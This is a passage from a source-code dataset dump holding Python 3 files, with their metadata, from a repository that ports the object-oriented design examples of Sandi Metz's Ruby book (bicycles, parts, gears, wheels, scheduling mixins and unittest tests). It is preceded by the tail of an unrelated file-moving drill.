pathname = os.path.join(FolderA, filename)\r\n if os.path.isfile(pathname):\r\n shutil.move(pathname, FolderB)\r\n\r\nprint os.listdir(FolderA) #checks to see contents of A\r\nprint os.listdir(FolderB) #confirms move to B of txt\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.8095238208770752, "alphanum_fraction": 0.8095238208770752, "avg_line_length": 21, "blob_id": "180efb59401a5d75eddc287778ab8b3f9292bdfa", "content_id": "a7117d41185dcd7f7436b51a838c5a5f2b4972d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 21, "license_type": "no_license", "max_line_length": 21, "num_lines": 1, "path": "/README.md", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "# Tech-Academy-Drills" } ]
13
ejosafat/poodrpython3
https://github.com/ejosafat/poodrpython3
4b2cae30b7fdbd21a7e501f789b25d64aa2ac180
0dbfaacd00871fd1bff0366c3c116d6b68ec678d
7451735c779db41be44f958711f21effdbc3e034
refs/heads/master
2020-08-02T23:03:19.762415
2019-10-25T11:03:44
2019-10-25T11:03:44
211,537,143
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.7313432693481445, "alphanum_fraction": 0.7313432693481445, "avg_line_length": 25.799999237060547, "blob_id": "98a05928b3742c0413e85ba6656f84f4928d869a", "content_id": "796f55c989c58ef24277d95f491730f777f73f44", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 268, "license_type": "permissive", "max_line_length": 62, "num_lines": 10, "path": "/ch09/test_includes/DiameterizableInterface.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from abc import ABC, abstractproperty\n\n\nclass DiameterizableInterfaceTest(ABC):\n @abstractproperty\n def object_tested(self):\n pass\n\n def test_implements_the_diameterizable_interface(self):\n self.assertTrue('diameter' in dir(self.object_tested))\n" }, { "alpha_fraction": 0.6556776762008667, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 18.5, "blob_id": "d9c48f098d2b729447668a58e5424f05b64160de", "content_id": "0c455e70e1a059c6180acdba4243336d1a62f2a6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 273, "license_type": "permissive", "max_line_length": 42, "num_lines": 14, "path": "/ch07/Bicycle02.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from datetime import date\nfrom Schedulable01 import SchedulableMixin\n\n\nclass Bicycle(SchedulableMixin):\n @property\n def lead_days(self):\n return 1\n\nstarting = date(2015, 9, 4)\nending = date(2015, 9, 10)\n\nb = Bicycle()\nprint(b.is_schedulable(starting, ending))\n" }, { "alpha_fraction": 0.5628272294998169, "alphanum_fraction": 0.5811518430709839, "avg_line_length": 23.645160675048828, "blob_id": "b12960b5235354f8007677bfad11b6e6cca82a67", "content_id": "8aa3e4d4beb03cb8d386545a5675ad3b16aadf69", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 764, "license_type": "permissive", "max_line_length": 77, "num_lines": 31, "path": "/ch08/PartsFactory01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from Bicycle03 import Part, Parts\n\n\nclass PartsFactory:\n @staticmethod\n def build(config, part_class=Part, parts_class=Parts):\n return parts_class(\n [part_class(\n name=part_config[0],\n description=part_config[1],\n needs_spare=part_config[2] if len(part_config) == 3 else True\n ) for part_config in config]\n )\n\n\nroad_config = (\n ('chain', '10-speed'),\n ('tire_size', '23'),\n ('tape_color', 'red'),\n)\n\nmountain_config = (\n ('chain', '10-speed'),\n ('tire_size', '2.1'),\n ('front_shock', 'Manitou', False),\n ('rear_shock', 'Fox'),\n)\n\nroad_parts = PartsFactory.build(road_config)\nmountain_parts = PartsFactory.build(mountain_config)\nprint(mountain_parts.parts)\n" }, { "alpha_fraction": 0.6194267272949219, "alphanum_fraction": 0.6242038011550903, "avg_line_length": 24.1200008392334, "blob_id": "b742c354c4267803b0bfdf311dff24b49992caf9", "content_id": "db264b7b139b6cb9de8fe6ebddefe05b64bf06c0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 628, "license_type": "permissive", "max_line_length": 69, "num_lines": 25, "path": "/ch07/Schedulable01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from datetime import timedelta\n\nfrom Schedule01 import Schedule\n\n\nclass SchedulableMixin:\n @property\n def schedule(self):\n try:\n return self.__schedule\n except AttributeError:\n self.__schedule = Schedule()\n return self.__schedule\n\n def is_schedulable(self, start_date, end_date):\n return not self.is_scheduled(\n start_date - timedelta(days=self.lead_days), end_date\n )\n\n def is_scheduled(self, start_date, end_date):\n return self.schedule.is_scheduled(self, start_date, end_date)\n\n @property\n def lead_days(self):\n return 0\n" }, { "alpha_fraction": 0.5405405163764954, "alphanum_fraction": 0.545945942401886, "avg_line_length": 22.125, "blob_id": "c9cbd6627ed401c8117819484716d42417257914", "content_id": "b32af3d28eceea5e130a79ab25cdb03e4c089b7d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 185, "license_type": "permissive", "max_line_length": 41, "num_lines": 8, "path": "/ch09/sources/Wheel01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Wheel(object):\n def __init__(self, rim, tire):\n self.rim = rim\n self.tire = tire\n\n @property\n def diameter(self):\n return self.rim + (self.tire * 2)\n" }, { "alpha_fraction": 0.5677083134651184, "alphanum_fraction": 0.5885416865348816, "avg_line_length": 19.210525512695312, "blob_id": "25bea18934b536d25876f9a3dd4794707e90f050", "content_id": "d8223ada64a32b0db3124cf33eaaf72503b4c881", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 384, "license_type": "permissive", "max_line_length": 40, "num_lines": 19, "path": "/ch02/Gear01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Gear(object):\n def __init__(self, chainring, cog):\n self.__chainring = chainring\n self.__cog = cog\n\n @property\n def chainring(self):\n return self.__chainring\n\n @property\n def cog(self):\n return self.__cog\n\n @property\n def ratio(self):\n return self.chainring / self.cog\n\nprint(Gear(52, 11).ratio)\nprint(Gear(30, 27).ratio)\n" }, { "alpha_fraction": 0.6072335243225098, "alphanum_fraction": 0.6097715497016907, "avg_line_length": 21.514286041259766, "blob_id": "9d80af6e4106c2abdb1a63c2157331057a81a724", "content_id": "2bea1960c1e37cb256cb9e695390f881db9899e7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1576, "license_type": "permissive", "max_line_length": 70, "num_lines": 70, "path": "/ch08/Bicycle03.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Bicycle:\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n self.__parts = kwargs['parts']\n\n @property\n def size(self):\n return self.__size\n\n @property\n def parts(self):\n return self.__parts\n\n @property\n def spares(self):\n return self.parts.spares\n\n\nclass Parts:\n def __init__(self, parts):\n self.__parts = parts\n\n @property\n def parts(self):\n return self.__parts\n\n @property\n def spares(self):\n return [part for part in self.parts if part.needs_spare]\n\n def __len__(self):\n return len(self.parts)\n\n def __iter__(self):\n return (part for part in self.parts)\n\n\nclass Part:\n def __init__(self, **kwargs):\n self.__name = kwargs['name']\n self.__description = kwargs['description']\n self.__needs_spare = kwargs.get('needs_spare', True)\n\n @property\n def name(self):\n return self.__name\n\n @property\n def description(self):\n return self.__description\n\n @property\n def needs_spare(self):\n return self.__needs_spare\n\n\nchain = Part(name='chain', description='10-speed')\nmountain_tire = Part(name='tire_size', description='2.1')\nrear_shock = Part(name='rear_shock', description='Fox')\nfront_shock = Part(\n name='front_shock', description='Manitou', needs_spare=False\n)\n\nmountain_bike = Bicycle(\n size='L',\n parts=Parts(parts=(chain, mountain_tire, front_shock, rear_shock))\n)\nprint(len(mountain_bike.spares))\nprint(len(mountain_bike.parts))\nprint([part for part in mountain_bike.parts])\n" }, { "alpha_fraction": 0.6390243768692017, "alphanum_fraction": 0.6390243768692017, "avg_line_length": 50.25, "blob_id": "6d9901f6ce2351f5640cd83c85f2c6501d57a9cd", "content_id": "65e499ccfde874b94e7ca928ac244508e5983537", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 205, "license_type": "permissive", "max_line_length": 65, "num_lines": 4, "path": "/ch07/Schedule01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Schedule:\n def is_scheduled(self, schedulable, start_date, end_date):\n print('This %s is not scheduled' % schedulable.__class__)\n print('between %s and %s' % (start_date, end_date))\n" }, { "alpha_fraction": 0.6678898930549622, "alphanum_fraction": 0.7009174227714539, "avg_line_length": 29.27777862548828, "blob_id": "d7b2c981fb0b6e9b0d32938898271b721ac9729d", "content_id": "f29323313e227213679ad2a9ed4fa03920a0c9a8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 545, "license_type": "permissive", "max_line_length": 70, "num_lines": 18, "path": "/ch09/test_Gear03.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom unittest.mock import Mock\n\nfrom sources.Gear03 import Gear\n\n\nclass GearTest(TestCase):\n def setUp(self):\n self.observer = Mock()\n self.gear = Gear(chainring=52, cog=11, observer=self.observer)\n\n def test_notifies_observers_when_cogs_change(self):\n self.gear.set_cog(27)\n self.observer.changed.assert_called_with(52, 27)\n\n def test_notifies_observers_when_chainrings_change(self):\n self.gear.set_chainring(42)\n self.observer.changed.assert_called_with(42, 11)\n" }, { "alpha_fraction": 0.6628242135047913, "alphanum_fraction": 0.7060518860816956, "avg_line_length": 23.785715103149414, "blob_id": "e088f5f6a41e32ccaed8c3fc9c5d7ccc2315e66e", "content_id": "e7b10bdc3072adfd0aa798d396cb810dc23fabf3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 347, "license_type": "permissive", "max_line_length": 67, "num_lines": 14, "path": "/ch09/test_Gear02.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom sources.Gear02 import Gear\n\n\nclass DiameterDouble:\n @property\n def diameter(self):\n return 10\n\n\nclass GearTest(TestCase):\n def test_calculates_gear_inches(self):\n gear = Gear(chainring=52, cog=11, wheel=DiameterDouble())\n self.assertAlmostEqual(47.27, gear.gear_inches, delta=0.01)\n" }, { "alpha_fraction": 0.6519083976745605, "alphanum_fraction": 0.6549618244171143, "avg_line_length": 20.129032135009766, "blob_id": "08163505d6d924ffb288e2499e501dc22aade036", "content_id": "423eb477f488443397482dacbbc42bbf06c9a631", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 655, "license_type": "permissive", "max_line_length": 78, "num_lines": 31, "path": "/ch08/Bicycle01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from Parts01 import RoadBikeParts, MountainBikeParts\n\n\nclass Bicycle:\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n self.__parts = kwargs['parts']\n\n @property\n def size(self):\n return self.__size\n\n @property\n def parts(self):\n return self.__parts\n\n @property\n def spares(self):\n return self.parts.spares\n\n\nroad_bike = Bicycle(size='L', parts=RoadBikeParts(tape_color='red'))\nprint(road_bike.size)\nprint(road_bike.spares)\n\nmountain_bike = Bicycle(\n size='L', parts=MountainBikeParts(rear_shock='Fox', front_shock='Manitou')\n)\n\nprint(mountain_bike.size)\nprint(mountain_bike.spares)\n" }, { "alpha_fraction": 0.5652387738227844, "alphanum_fraction": 0.5681930184364319, "avg_line_length": 22.079545974731445, "blob_id": "2ff2e98d4bb8b25b763ab612719eebac9414444e", "content_id": "856fb5da4bc130063c5ac57da8d001c187c000ee", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2031, "license_type": "permissive", "max_line_length": 79, "num_lines": 88, "path": "/ch06/Bicycle05.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Bicycle(object):\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n self.__chain = kwargs.get('size', self.default_chain)\n self.__tire_size = kwargs.get('tire_size', self.default_tire_size)\n\n @property\n def size(self):\n return self.__size\n\n @property\n def chain(self):\n return self.__chain\n\n @property\n def tire_size(self):\n return self.__tire_size\n\n @property\n def default_chain(self):\n return '10-speed'\n\n @property\n def default_tire_size(self):\n raise LookupError\n\n @property\n def spares(self):\n return {\n 'tire_size': self.tire_size,\n 'chain': self.chain,\n }\n\n\nclass RoadBike(Bicycle):\n def __init__(self, **kwargs):\n self.__tape_color = kwargs.get('tape_color', None)\n super().__init__(**kwargs)\n\n @property\n def tape_color(self):\n return self.__tape_color\n\n @property\n def default_tire_size(self):\n return '23'\n\n @property\n def spares(self):\n rb_spares = super().spares\n rb_spares.update({\n 'tape_color': self.tape_color,\n })\n return rb_spares\n\n\nclass MountainBike(Bicycle):\n def __init__(self, **kwargs):\n self.__front_shock = kwargs.get('front_shock', None)\n self.__rear_shock = kwargs.get('rear_shock', None)\n super().__init__(**kwargs)\n\n @property\n def front_shock(self):\n return self.__front_shock\n\n @property\n def rear_shock(self):\n return self.__rear_shock\n\n @property\n def default_tire_size(self):\n return '2.1'\n\n @property\n def spares(self):\n mb_spares = super().spares\n mb_spares.update({\n 'rear_shock': self.rear_shock,\n 'front_shock': self.front_shock,\n })\n return mb_spares\n\nroad_bike = RoadBike(size='M', tape_color='red')\nprint(road_bike.spares)\n\nmountain_bike = MountainBike(size='S', front_shock='Manitou', rear_shock='Fox')\nprint(mountain_bike.spares)\n" }, { "alpha_fraction": 0.5698924660682678, "alphanum_fraction": 0.5729646682739258, "avg_line_length": 18.727272033691406, "blob_id": "7673fe7ce4a3a01ce521c21bec396b8bda0a0858", "content_id": "29e6dc5acdbad3a4f2f984665335d7b128a1b9e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 651, "license_type": "permissive", "max_line_length": 63, "num_lines": 33, "path": "/ch09/sources/Gear01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from .Wheel01 import Wheel\n\n\nclass Gear(object):\n def __init__(self, chainring, cog, rim, tire):\n self.__chainring = chainring\n self.__cog = cog\n self.__rim = rim\n self.__tire = tire\n\n @property\n def chainring(self):\n return self.__chainring\n\n @property\n def cog(self):\n return self.__cog\n\n @property\n def rim(self):\n return self.__rim\n\n @property\n def tire(self):\n return self.__tire\n\n @property\n def ratio(self):\n return self.chainring / self.cog\n\n @property\n def gear_inches(self):\n return self.ratio * Wheel(self.rim, self.tire).diameter\n" }, { "alpha_fraction": 0.7201834917068481, "alphanum_fraction": 0.7454128265380859, "avg_line_length": 28.066667556762695, "blob_id": "7c2ec0e251c3d864b1c46fcd230d62065d54ce0d", "content_id": "9cbd217d80f061905230ad26c75111a5ba59b7cd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 436, "license_type": "permissive", "max_line_length": 77, "num_lines": 15, "path": "/ch09/test_Wheel03.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom sources.Wheel01 import Wheel\nfrom test_includes.DiameterizableInterface import DiameterizableInterfaceTest\n\n\nclass WheelTest(TestCase, DiameterizableInterfaceTest):\n def setUp(self):\n self.wheel = Wheel(26, 1.5)\n\n @property\n def object_tested(self):\n return self.wheel\n\n def test_calculates_diameter(self):\n self.assertAlmostEqual(29, self.wheel.diameter, delta=0.01)\n" }, { "alpha_fraction": 0.56175297498703, "alphanum_fraction": 0.5651679039001465, "avg_line_length": 20.69135856628418, "blob_id": "10d223467f5c27fe9a492406a6df1ba1c6e740bb", "content_id": "d23fc05c79836a791958aa40292db2a2a0364120", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1757, "license_type": "permissive", "max_line_length": 74, "num_lines": 81, "path": "/ch08/Parts01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Parts:\n def __init__(self, **kwargs):\n self.__chain = kwargs.get('size', self.default_chain)\n self.__tire_size = kwargs.get('tire_size', self.default_tire_size)\n self.post_initialize(**kwargs)\n\n @property\n def chain(self):\n return self.__chain\n\n @property\n def tire_size(self):\n return self.__tire_size\n\n @property\n def default_chain(self):\n return '10-speed'\n\n @property\n def default_tire_size(self):\n raise LookupError\n\n def post_initialize(self, **kwargs):\n pass\n\n @property\n def local_spares(self):\n return {}\n\n @property\n def spares(self):\n sp = self.local_spares\n sp.update({\n 'tire_size': self.tire_size,\n 'chain': self.chain,\n })\n return sp\n\n\nclass RoadBikeParts(Parts):\n def post_initialize(self, **kwargs):\n self.__tape_color = kwargs['tape_color']\n\n @property\n def tape_color(self):\n return self.__tape_color\n\n @property\n def default_tire_size(self):\n return '23'\n\n @property\n def local_spares(self):\n return {\n 'tape_color': self.tape_color,\n }\n\n\nclass MountainBikeParts(Parts):\n def post_initialize(self, **kwargs):\n self.__front_shock = kwargs.get('front_shock', None)\n self.__rear_shock = kwargs.get('rear_shock', None)\n\n @property\n def front_shock(self):\n return self.__front_shock\n\n @property\n def rear_shock(self):\n return self.__rear_shock\n\n @property\n def default_tire_size(self):\n return '2.1'\n\n @property\n def local_spares(self):\n return {\n 'rear_shock': self.rear_shock,\n 'front_shock': self.front_shock,\n }\n" }, { "alpha_fraction": 0.7033898234367371, "alphanum_fraction": 0.7881355881690979, "avg_line_length": 28.5, "blob_id": "bc7c3d9435b38c4ae0d38f95020fa01bb90d66b1", "content_id": "e005db8f444ab41b3658ea0ac1ab230b429a4349", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 118, "license_type": "permissive", "max_line_length": 72, "num_lines": 4, "path": "/ch03/Gear06.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from Gear02 import Wheel\nimport GearWrapper\n\nGearWrapper.gear(chainring=52, cog=11, wheel=Wheel(26, 1.5)).gear_inches\n" }, { "alpha_fraction": 0.7329843044281006, "alphanum_fraction": 0.7521815299987793, "avg_line_length": 34.8125, "blob_id": "3e22b4688726dee7efa73606ed17164cf947ffa5", "content_id": "945b6792f4f57486cead71ffc318430e398f3c5e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 573, "license_type": "permissive", "max_line_length": 152, "num_lines": 16, "path": "/README.md", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "# Practical Object Oriented Design With Ruby (by Sandy Metz), in Python 3\n\n## Sample code from this excellent book translated to Python 3.\n\nThis repo is an adaptation to Python 3 of the samples of the book, chapter by chapter except 1, 4 and 5 are they illustrate concepts that don't need\nto be translated in my humble opinion.\n\nThe book is available [here](http://www.sandimetz.com/products/) and I strongly recommend reading it as gives a great insight in OOP in a pragmatic way.\n\n## How to run the code\n\nTo run code from a chapter, in Linux,\n\n```\npython3 ch02/Gear01.js\n```\n" }, { "alpha_fraction": 0.6608695387840271, "alphanum_fraction": 0.678260862827301, "avg_line_length": 22, "blob_id": "1230ee81114e67ba1e4b23a57c3c9179cad4e40c", "content_id": "183da554144c9ab7f243efb3378599debb151b32", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 115, "license_type": "permissive", "max_line_length": 68, "num_lines": 5, "path": "/ch03/GearWrapper.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from Gear02 import Gear\n\n\ndef gear(**kwargs):\n return Gear(kwargs['chainring'], kwargs['cog'], kwargs['wheel'])\n" }, { "alpha_fraction": 0.5283018946647644, "alphanum_fraction": 0.5358490347862244, "avg_line_length": 21.08333396911621, "blob_id": "0a51743659f9af23e5abb3cf0f0210f7af9ebf1a", "content_id": "4de6cc24a71b4e018482801a16c19442dfadacbe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 530, "license_type": "permissive", "max_line_length": 48, "num_lines": 24, "path": "/ch06/Bicycle01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Bicycle(object):\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n self.__tape_color = kwargs['tape_color']\n\n @property\n def size(self):\n return self.__size\n\n @property\n def tape_color(self):\n return self.__tape_color\n\n @property\n def spares(self):\n return {\n 'chain': '10-speed',\n 'tire_size': '23',\n 'tape_color': self.tape_color,\n }\n\nbike = Bicycle(size='M', tape_color='red')\nprint(bike.size)\nprint(bike.spares)\n" }, { "alpha_fraction": 0.6205923557281494, "alphanum_fraction": 0.6431593894958496, "avg_line_length": 23.44827651977539, "blob_id": "bff3cd6abe6ed3304565fc940dd6c63c7e02c143", "content_id": "6fc08d0c369a9cbb292a0c480dee31df3a509bb2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 709, "license_type": "permissive", "max_line_length": 69, "num_lines": 29, "path": "/ch07/Bicycle01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from datetime import timedelta, date\nfrom Schedule01 import Schedule\n\n\nclass Bicycle:\n def __init__(self, **kwargs):\n self.__schedule = kwargs.get('schedule', Schedule())\n\n def is_schedulable(self, start_date, end_date):\n return not self.is_scheduled(\n start_date - timedelta(days=self.lead_days), end_date\n )\n\n def is_scheduled(self, start_date, end_date):\n return self.schedule.is_scheduled(self, start_date, end_date)\n\n @property\n def schedule(self):\n return self.__schedule\n\n @property\n def lead_days(self):\n return 1\n\nstarting = date(2015, 9, 4)\nending = date(2015, 9, 10)\n\nb = Bicycle()\nprint(b.is_schedulable(starting, ending))\n" }, { "alpha_fraction": 0.5587349534034729, "alphanum_fraction": 0.5617470145225525, "avg_line_length": 23.14545440673828, "blob_id": "4edef905ce973fed37bb30ff658ecf57592ebe41", "content_id": "7b58dc38088756b3005367bf3381c79a9d234edf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1328, "license_type": "permissive", "max_line_length": 79, "num_lines": 55, "path": "/ch06/Bicycle04.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Bicycle(object):\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n\n @property\n def size(self):\n return self.__size\n\n\nclass RoadBike(Bicycle):\n def __init__(self, **kwargs):\n self.__tape_color = kwargs.get('tape_color', None)\n super().__init__(**kwargs)\n\n @property\n def tape_color(self):\n return self.__tape_color\n\n @property\n def spares(self):\n return {\n 'chain': '10-speed',\n 'tire_size': '23',\n 'tape_color': self.tape_color,\n }\n\n\nclass MountainBike(Bicycle):\n def __init__(self, **kwargs):\n self.__front_shock = kwargs.get('front_shock', None)\n self.__rear_shock = kwargs.get('rear_shock', None)\n super().__init__(**kwargs)\n\n @property\n def front_shock(self):\n return self.__front_shock\n\n @property\n def rear_shock(self):\n return self.__rear_shock\n\n @property\n def spares(self):\n mb_spares = super().spares\n mb_spares.update({\n 'rear_shock': self.rear_shock,\n 'front_shock': self.front_shock,\n })\n return mb_spares\n\nroad_bike = RoadBike(size='M', tape_color='red')\nprint(road_bike.size)\n\nmountain_bike = MountainBike(size='S', front_shock='Manitou', rear_shock='Fox')\nprint(mountain_bike.size)\n" }, { "alpha_fraction": 0.5854465365409851, "alphanum_fraction": 0.5854465365409851, "avg_line_length": 21.121952056884766, "blob_id": "95e1b91fb8a4303d21b555c16a2be96573bb5fd6", "content_id": "55ee319b33c95130dafe5669e91560bb611af3e8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 907, "license_type": "permissive", "max_line_length": 61, "num_lines": 41, "path": "/ch09/sources/Gear03.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Gear(object):\n def __init__(self, chainring, cog, observer, wheel=None):\n self.__chainring = chainring\n self.__cog = cog\n self.__wheel = wheel\n self.__observer = observer\n\n @property\n def chainring(self):\n return self.__chainring\n\n @property\n def cog(self):\n return self.__cog\n\n @property\n def wheel(self):\n return self.__wheel\n\n @property\n def observer(self):\n return self.__observer\n\n @property\n def ratio(self):\n return self.chainring / self.cog\n\n @property\n def gear_inches(self):\n return self.ratio * self.wheel.diameter\n\n def set_cog(self, new_cog):\n self.__cog = new_cog\n self.changed()\n\n def set_chainring(self, chainring):\n self.__chainring = chainring\n self.changed()\n\n def changed(self):\n self.observer.changed(self.chainring, self.cog)\n" }, { "alpha_fraction": 0.6826666593551636, "alphanum_fraction": 0.7120000123977661, "avg_line_length": 27.846153259277344, "blob_id": "92024278bf345873bac42ed62720464d663ea528", "content_id": "38e2929da5334130ed059560aa7f43883849436a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 375, "license_type": "permissive", "max_line_length": 67, "num_lines": 13, "path": "/ch09/test_Wheel02.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom sources.Wheel01 import Wheel\n\n\nclass WheelTest(TestCase):\n def setUp(self):\n self.wheel = Wheel(26, 1.5)\n\n def test_implements_the_diameterizable_interface(self):\n self.assertTrue('diameter' in dir(self.wheel))\n\n def test_calculates_diameter(self):\n self.assertAlmostEqual(29, self.wheel.diameter, delta=0.01)\n" }, { "alpha_fraction": 0.6236494779586792, "alphanum_fraction": 0.6272509098052979, "avg_line_length": 22.799999237060547, "blob_id": "2473cdef3da036b99f75b056a65ad22b5d06d0da", "content_id": "affbcd3cb0b913bc96e1c4a97d30a6d779734625", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1666, "license_type": "permissive", "max_line_length": 70, "num_lines": 70, "path": "/ch08/Bicycle02.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Bicycle:\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n self.__parts = kwargs['parts']\n\n @property\n def size(self):\n return self.__size\n\n @property\n def parts(self):\n return self.__parts\n\n @property\n def spares(self):\n return self.parts.spares\n\n\nclass Parts:\n def __init__(self, **kwargs):\n self.__parts = kwargs['parts']\n\n @property\n def parts(self):\n return self.__parts\n\n @property\n def spares(self):\n return [part for part in self.parts if part.needs_spare]\n\n\nclass Part:\n def __init__(self, **kwargs):\n self.__name = kwargs['name']\n self.__description = kwargs['description']\n self.__needs_spare = kwargs.get('needs_spare', True)\n\n @property\n def name(self):\n return self.__name\n\n @property\n def description(self):\n return self.__description\n\n @property\n def needs_spare(self):\n return self.__needs_spare\n\n\nchain = Part(name='chain', description='10-speed')\nroad_tire = Part(name='tire_size', description='23')\ntape = Part(name='tape_color', description='red')\nmountain_tire = Part(name='tire_size', description='2.1')\nrear_shock = Part(name='rear_shock', description='Fox')\nfront_shock = Part(\n name='front_shock', description='Manitou', needs_spare=False\n)\n\nroad_bike_parts = Parts(parts=(chain, road_tire, tape))\nroad_bike = Bicycle(size='L', parts=road_bike_parts)\nprint(road_bike.size)\nprint(road_bike.spares)\n\nmountain_bike = Bicycle(\n size='L',\n parts=Parts(parts=(chain, mountain_tire, front_shock, rear_shock))\n)\nprint(mountain_bike.size)\nprint(mountain_bike.spares)\n" }, { "alpha_fraction": 0.6513410210609436, "alphanum_fraction": 0.7164750695228577, "avg_line_length": 31.625, "blob_id": "039b133d05228d697a716cc5932288364f4e2ba0", "content_id": "a10653e37516803967ede673865eb1cd533675fb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "permissive", "max_line_length": 67, "num_lines": 8, "path": "/ch09/test_Gear01.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "from unittest import TestCase\nfrom sources.Gear01 import Gear\n\n\nclass GearTest(TestCase):\n def test_calculates_gear_inches(self):\n gear = Gear(chainring=52, cog=11, rim=26, tire=1.5)\n self.assertAlmostEqual(137.1, gear.gear_inches, delta=0.01)\n" }, { "alpha_fraction": 0.5004115104675293, "alphanum_fraction": 0.5069958567619324, "avg_line_length": 23.795917510986328, "blob_id": "fea9cda41b12dc13eb32e6714aaab608a7e5472f", "content_id": "2fd8d6d0059ae3b3db46ca32b6b1ca4b6f01e655", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1215, "license_type": "permissive", "max_line_length": 71, "num_lines": 49, "path": "/ch06/Bicycle02.py", "repo_name": "ejosafat/poodrpython3", "src_encoding": "UTF-8", "text": "class Bicycle(object):\n def __init__(self, **kwargs):\n self.__size = kwargs['size']\n self.__tape_color = kwargs.get('tape_color', None)\n self.__style = kwargs['style']\n self.__front_shock = kwargs.get('front_shock', None)\n self.__rear_shock = kwargs.get('rear_shock', None)\n\n @property\n def size(self):\n return self.__size\n\n @property\n def tape_color(self):\n return self.__tape_color\n\n @property\n def style(self):\n return self.__style\n\n @property\n def front_shock(self):\n return self.__front_shock\n\n @property\n def rear_shock(self):\n return self.__rear_shock\n\n @property\n def spares(self):\n if self.style == 'road':\n return {\n 'chain': '10-speed',\n 'tire_size': '23',\n 'tape_color': self.tape_color,\n }\n else:\n return {\n 'chain': '10-speed',\n 'tire_size': '2.1',\n 'rear_shock': self.rear_shock,\n 'front_shock': self.front_shock,\n }\n\n\nbike = Bicycle(\n size='S', style='mountain', front_shock='Manitou', 